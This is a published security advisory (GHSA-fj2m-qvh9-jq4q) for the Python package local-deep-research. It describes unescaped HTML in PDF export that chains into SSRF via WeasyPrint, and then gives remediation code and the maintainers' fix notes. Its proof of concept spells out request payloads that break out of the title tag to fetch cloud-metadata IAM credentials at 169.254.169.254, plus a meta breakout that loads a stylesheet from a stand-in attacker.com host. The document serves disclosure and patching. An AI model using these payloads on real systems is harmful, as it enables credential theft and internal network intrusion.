GHSA-fj2m-qvh9-jq4q

Source

https://github.com/advisories/GHSA-fj2m-qvh9-jq4q

Import Source

https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-fj2m-qvh9-jq4q/GHSA-fj2m-qvh9-jq4q.json

JSON Data

https://api.osv.dev/v1/vulns/GHSA-fj2m-qvh9-jq4q

Aliases

CVE-2026-43979

Published

2026-05-11T19:40:07Z

Modified

2026-05-11T19:50:51.473267Z

Severity

5.0 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N CVSS Calculator

Summary

local-deep-research is Vulnerable to HTML Injection via Unescaped User Input in PDF Export (`pdf_service.py:_markdown_to_html`)

Details

Summary

PDFService._markdown_to_html() constructs an HTML document by interpolating user-controlled values — specifically title (sourced from research.title or research.query) and metadata key-value pairs — directly into an f-string without any HTML escaping. An authenticated attacker can craft a research query containing HTML special characters to inject arbitrary HTML tags into the document processed by WeasyPrint during PDF export. This injection can be chained to trigger a Server-Side Request Forgery (SSRF), bypassing the application's existing SSRF defenses in ssrf_validator.py.

Details

Vulnerable code: src/local_deep_research/web/services/pdf_service.py, lines 171–176

# pdf_service.py:171-176
if title:
    html_parts.append(f"<title>{title}</title>")   # ← title is not escaped

if metadata:
    for key, value in metadata.items():
        html_parts.append(f'<meta name="{key}" content="{value}">')  # ← key/value are not escaped

Data flow trace:

User input: research.query
        │
        ▼
research_routes.py:1321
  pdf_title = research.title or research.query
        │
        ▼
research_routes.py:1325-1326
  export_report_to_memory(report_content, format, title=pdf_title)
        │
        ▼
pdf_service.py:107
  PDFService.markdown_to_pdf(markdown_content, title=pdf_title)
        │
        ▼
pdf_service.py:137
  _markdown_to_html(markdown_content, title, metadata)
        │
        ▼
pdf_service.py:172
  f"<title>{title}</title>"   ← injection point, no escaping
        │
        ▼
pdf_service.py:112
  HTML(string=html_content)   ← WeasyPrint renders the injected HTML

research.query is a string submitted by the user via POST /api/start_research, stored as-is in the database, and retrieved without any sanitization. When the user triggers POST /api/v1/research/<research_id>/export/pdf, this value is embedded unescaped into the HTML document processed by WeasyPrint.

Injection point 1: <title> tag breakout

Input:    </title><img src="http://169.254.169.254/latest/meta-data/" />
Rendered: <title></title><img src="http://169.254.169.254/latest/meta-data/" /></title>

When WeasyPrint encounters the injected <img> tag, it issues an HTTP GET request to the value of src by default.

Injection point 2: <meta> attribute breakout

Input:    " /><link rel="stylesheet" href="http://attacker.com/evil.css
Rendered: <meta name="..." content="" /><link rel="stylesheet" href="http://attacker.com/evil.css">

WeasyPrint will fetch and apply the external stylesheet, which also constitutes SSRF.

Proof of Concept

Step 1: Log in and submit a research query containing the injection payload

POST /api/start_research HTTP/1.1
Host: localhost:5000
Content-Type: application/json
Cookie: session=<valid_session>

{
  "query": "</title><img src=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\" onerror=\"x\"/>",
  "mode": "quick",
  "model_provider": "OLLAMA",
  "model": "llama3"
}

The response returns a research_id, e.g. "aaaa-bbbb-cccc-dddd".

Step 2: After the research completes, trigger PDF export

POST /api/v1/research/aaaa-bbbb-cccc-dddd/export/pdf HTTP/1.1
Host: localhost:5000
Cookie: session=<valid_session>
X-CSRFToken: <csrf_token>

Step 3: Intermediate HTML constructed server-side

<!DOCTYPE html><html><head>
<meta charset="utf-8">
<title></title><img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" onerror="x"/></title>
</head><body>
...report content...
</body></html>

Step 4: WeasyPrint issues an outbound HTTP request to the injected URL

Observed in network monitoring (e.g. tcpdump) or the target internal service logs:

GET /latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: 169.254.169.254
User-Agent: WeasyPrint/...

Lightweight verification (no SSRF environment required):

Set the query to:

</title><title>INJECTED

The resulting HTML will contain two <title> tags and the PDF document metadata title will read INJECTED, confirming successful injection.

Impact

1. Chained SSRF (High Severity)

By injecting <img src>, <link href>, or <style>@import url() tags pointing to internal addresses, WeasyPrint will issue HTTP requests on behalf of the server during PDF generation. This allows access to:

Cloud metadata services (169.254.169.254) on AWS, GCP, or Azure — enabling theft of IAM credentials and instance identity documents.
Internal network services (192.168.x.x, 10.x.x.x) — enabling reconnaissance and interaction with internal APIs not exposed to the internet.
Localhost administrative interfaces — if SSRF protections are only applied at the user-input validation layer.

This is an effective bypass of the application's existing SSRF defenses in ssrf_validator.py, because WeasyPrint's outbound resource requests are never routed through that validator.

2. HTML Document Structure Corruption

Injected tags can prematurely close <head> and insert arbitrary content into <body>, causing WeasyPrint to render incorrectly or crash, resulting in a Denial of Service (DoS) condition for the export functionality.

3. CSS Injection (Medium Severity)

By injecting <link> or <style> tags that load external stylesheets, an attacker can fully control the visual content of the generated PDF, enabling report content forgery or spoofing.

4. Affected Scope

All PDF export operations are affected.
The vulnerability is reachable by any authenticated user — no elevated privileges required.
- Because each user operates against their own encrypted database, cross-user exploitation is not possible. However, on any shared or multi-tenant deployment, every authenticated user can independently trigger this vulnerability.

Remediation

Apply html.escape() to all user-controlled values before embedding them in the HTML template inside _markdown_to_html:

import html

if title:
    html_parts.append(f"<title>{html.escape(title)}</title>")

if metadata:
    for key, value in metadata.items():
        html_parts.append(
            f'<meta name="{html.escape(str(key))}" content="{html.escape(str(value))}">'
        )

Additionally, consider configuring WeasyPrint with a custom url_fetcher that blocks or restricts outbound HTTP requests to prevent SSRF via injected or legitimately-embedded external resources:

def safe_url_fetcher(url, timeout=10):
    from ssrf_validator import validate_url
    if not validate_url(url):
        raise ValueError(f"Blocked unsafe URL in PDF rendering: {url}")
    return weasyprint.default_url_fetcher(url, timeout=timeout)

html_doc = HTML(string=html_content, url_fetcher=safe_url_fetcher)

Report generated against commit f3540fb3 — local-deep-research, branch main.

Maintainer note (2026-04-24)

Thanks @Firebasky for the detailed report. The complete remediation spans two PRs, both merged to main:

#3082 (merged 2026-03-29, shipped in v1.5.0+) — closes the HTML-injection sinks: - html.escape() now wraps the title value in <title>…</title> - Same for metadata keys/values in <meta name="…" content="…"> - Regression tests added in tests/web/services/test_pdf_service.py

#3613 (merged 2026-04-24, shipped in v1.6.0) — implements the url_fetcher recommendation from the Remediation section: - New _safe_url_fetcher in pdf_service.py delegates to weasyprint.default_url_fetcher only after security.ssrf_validator.validate_url accepts the URL - Blocks AWS metadata (169.254.169.254), RFC1918, loopback, and non-http(s) schemes - Covers the chained SSRF path through any URL reaching the rendered HTML — markdown body, citations, raw-HTML passthrough via Python-Markdown - Blocked URLs raise UnsafePDFResourceURLError (a ValueError subclass) so WeasyPrint skips the resource and the render continues - 8 regression tests, including an end-to-end render with <img src="http://169.254.169.254/…"> embedded in the body

Advisory metadata: CVSS CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N (5.0 Moderate), CWEs CWE-79 + CWE-918. Patched in v1.6.0 — upgrade to v1.6.0 or later to receive both fixes.

Database specific

{
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-11T19:40:07Z",
    "cwe_ids": [
        "CWE-79",
        "CWE-918"
    ],
    "severity": "MODERATE",
    "nvd_published_at": null
}

References

Affected packages

PyPI / local-deep-research

Package

Name: local-deep-research; View open source insights on deps.dev
Purl: pkg:pypi/local-deep-research

Affected ranges

Type: ECOSYSTEM
Events: Introduced

0Unknown introduced version / All previous versions are affected

Fixed

1.6.0

Affected versions

0.*

0.1.0

0.1.1

0.1.12

0.1.13

0.1.14

0.1.15

0.1.16

0.1.17

0.1.18

0.1.19

0.1.20

0.1.21

0.1.22

0.1.23

0.1.24

0.1.25

0.1.26

0.2.0

0.2.2

0.2.3

0.3.0

0.3.1

0.3.2

0.3.3

0.3.5

0.3.6

0.3.8

0.3.9

0.3.10

0.3.11

0.3.12

0.4.0

0.4.1

0.4.2

0.4.3

0.4.4

0.5.0

0.5.2

0.5.3

0.5.4

0.5.5

0.5.6

0.5.7

0.5.9

0.6.0

0.6.1

0.6.4

0.6.5

0.6.7

1.*

1.0.0

1.0.1

1.1.1

1.1.6

1.1.7

1.1.8

1.1.9

1.1.10

1.1.11

1.2.0

1.2.1

1.2.2

1.2.3

1.2.4

1.2.5

1.2.6

1.2.7

1.2.8

1.2.9

1.2.10

1.2.11

1.2.12

1.2.13

1.2.14

1.2.15

1.2.16

1.2.17

1.2.24

1.2.25

1.2.26

1.2.27

1.2.28

1.3.0

1.3.1

1.3.6

1.3.7

1.3.8

1.3.9

1.3.10

1.3.11

1.3.12

1.3.13

1.3.14

1.3.15

1.3.16

1.3.17

1.3.18

1.3.19

1.3.20

1.3.21

1.3.22

1.3.24

1.3.25

1.3.26

1.3.28

1.3.29

1.3.30

1.3.40

1.3.41

1.3.42

1.3.43

1.3.44

1.3.45

1.3.46

1.3.47

1.3.48

1.3.49

1.3.50

1.3.51

1.3.52

1.3.53

1.3.54

1.3.55

1.3.56

1.3.57

1.3.58

1.3.59

1.3.60

1.4.0

1.5.0

1.5.3

1.5.5

1.5.6

Database specific

source

"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-fj2m-qvh9-jq4q/GHSA-fj2m-qvh9-jq4q.json"